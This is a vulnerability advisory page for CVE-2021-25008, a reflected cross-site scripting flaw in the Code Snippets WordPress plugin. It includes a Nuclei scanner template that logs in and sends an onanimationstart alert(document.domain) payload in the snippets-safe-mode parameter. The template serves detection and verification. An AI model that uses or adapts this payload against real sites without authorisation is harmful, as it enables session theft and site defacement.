CVE-2021-25008: The Code Snippets WordPress Plugin < 2.14.3 - Cross-Site Scripting

2025-08-01 The Code Snippets WordPress Plugin PoC Public

Description

The Wordpress plugin Code Snippets before 2.14.3 does not escape the snippets-safe-mode parameter before reflecting it in attributes, leading to a reflected cross-site scripting issue.

PoC

id: CVE-2021-25008

info:
  name: The Code Snippets WordPress Plugin < 2.14.3 - Cross-Site Scripting
  author: cckuailong
  severity: medium
  description: The Wordpress plugin Code Snippets before 2.14.3 does not escape the snippets-safe-mode parameter before reflecting it in attributes, leading to a reflected cross-site scripting issue.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the Code Snippets WordPress Plugin to version 2.14.3 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/cb232354-f74d-48bb-b437-7bdddd1df42a
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25008
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25008
    cwe-id: CWE-79
    epss-score: 0.02258
    epss-percentile: 0.82098
    cpe: cpe:2.3:a:codesnippets:code_snippets:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: codesnippets
    product: code_snippets
    framework: wordpress
  tags: cve,cve2021,authenticated,wpscan,xss,wp,wordpress,wp-plugin,codesnippets,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=snippets&snippets-safe-mode%5B0%5D=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\" style=animation-name:rotation onanimationstart=alert(document.domain) x"
          - "Snippets"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022013ea01948122013d483f8341ac2be96888e2898bd79b090b1c075c5aa5752980022076b637c1a13d1fd9891429bb1dc40a2c4dc7255ff8471cd781c663dd03389de9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities